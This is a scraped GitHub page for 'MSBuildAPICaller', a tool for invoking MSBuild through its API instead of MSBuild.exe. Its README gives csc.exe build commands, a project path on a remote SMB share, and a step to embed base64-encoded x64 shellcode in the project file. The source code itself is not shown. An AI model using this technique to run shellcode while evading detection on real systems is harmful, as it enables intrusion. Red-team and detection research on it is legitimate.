Skip to content
Please note that GitHub no longer supports Internet Explorer.

We recommend upgrading to the latest Microsoft Edge, Google Chrome, or Firefox.

Learn more
MSBuild Without MSBuild.exe
C#
Branch: master
Clone or download
Latest commit 185bef7 Jan 23, 2020
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
.gitattributes Initial commit Jan 19, 2020
.gitignore Initial Commit Jan 19, 2020
IEShim.cs Initial Commit Jan 19, 2020
LICENSE Initial commit Jan 19, 2020
README.md Update README.md Jan 23, 2020
msbuildapicaller.cs Initial Commit Jan 19, 2020
msbuildapicaller.csproj Initial Commit Jan 19, 2020

README.md

MSBuildAPICaller

MSBuild Without MSBuild.exe

How to build and execute

Step 1: Build IEShim.cs

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs

Step 2: Modify "projectPath" variable on line 60 of msbuildapicaller.cs to your needs

Example: string projectPath = '\\192.168.1.100\share\msbuildapicaller.csproj';

Step 3: Replace with your base64 encoded x64 shellcode in msbuildapicaller.csproj

Step 4: Replace AssemblyFile variable with the location of your compiled dll from step 1

Step 5: Build msbuildapicaller.cs

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs

Step 6: Execute msbuildapicaller.exe

You can’t perform that action at this time.